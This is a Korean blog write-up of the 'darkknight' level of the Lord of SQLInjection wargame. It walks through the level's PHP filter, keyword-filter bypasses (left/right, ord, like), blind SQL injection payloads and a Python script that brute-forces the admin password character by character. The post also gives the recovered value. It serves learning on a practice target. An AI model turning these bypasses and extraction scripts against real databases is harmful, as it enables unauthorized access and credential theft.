Lord of SQLInjection
los.rubiya.kr
사실 스타크래프트 암흑기사는 다크템플러이다. 그나저나 암흑기사가 왜 몬스터지 다 좋은 쪽으로 밖에 없던데
los의 다크나이트를 처리해보자.
기본 쿼리문 및 소스코드는 아래와 같다.
소스코드를 살펴보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'/i', $_GET[pw])) exit("HeHe");
if(preg_match('/\'|substr|ascii|=/i', $_GET[no])) exit("HeHe");
$query = "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight");
highlight_file(__FILE__);
?>
이번에는 pw 인자에는 따옴표를 쓰지 못하고, no 인자에는 따옴표와 substr, ascii, =를 쓰지 못한다.
이번에는 substr 라는 문자 자체를 필터링 하고 있어서 left, right로 대체해서 써야 할 것 같고, ascii는 ord로 우회할 수 있을 것이다. =는 like로 우회할 수 있고!
pw 인자는 넘기고 no에서 다 때려박으면 될 것 같은 느낌이 든다.
다크나이트는 아래와 같은 과정으로 처리가능했다.
1. 비밀번호 길이 찾기
no: 2||length(pw) like 8--+
url: ?no=2||length(pw)%20like%208--++
query : select id from prob_darkknight where id='guest' and pw='' and no=2||length(pw) like 8--
비밀번호의 길이는 또 8이다..!
2. 비밀번호 찾기
비밀번호를 한글자 씩 찾기 위해서는 아래처럼 입력하면 된다.
no: 2 or no like 2 and ord(left(right(pw,8), 1)) like 48
query: select id from prob_darkknight where id='guest' and pw='' and no=2 or no like 2 and ord(left(right(pw,8), 1)) like 48
&& 때문에 pw 값은 파이썬에서 직접 파라미터에 넣어주어야 && 뒷 부분이 다른 파라미터로 인식되어 날라가지 않는다. 파이썬 코드는 아래와 같다.
import requests
import time
URL="https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
params = {'pw':'',
'no':''}
cookie={
"PHPSESSID":"hfq78ei0h9rmlo9jl10lkb7kd3"
}
password = ''
start = time.time()
for i in range(8):
print(i, end=' ')
for j in range(32, 127):
params['no'] = "2 or no like 2 and ord(left(right(pw,{}), 1)) like {}".format(8-i, j)
res = requests.get(URL, params=params, cookies=cookie)
#print(i, j, res.text)
if "Hello admin" in res.text:
print("found!:{} : {}".format(i, chr(j)))
print(res.text)
password += chr(j)
break
print(password)
end = time.time()
print(end - start)
left와 right를 섞어서 substr와 비슷하게 작동하도록 만들었다. 사실 써니나타스 문제풀이 때 써먹었던 방법이다.
+)알고보니 mid라는 substr과 똑같은 기능을 하는 함수가 있다고 한다.. 굳이 left, right 섞어 쓸 필요가 없었다!
pw는 0b70ea1f 이다.
'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글
[Los] giant 풀이 (0) | 2022.06.12 |
---|---|
[Los] bugbear 풀이 (0) | 2022.06.12 |
[Los] golem 풀이 (0) | 2022.06.12 |
[Los] skeleton 풀이 (0) | 2022.06.12 |
[Los] vampire 풀이 (0) | 2022.06.12 |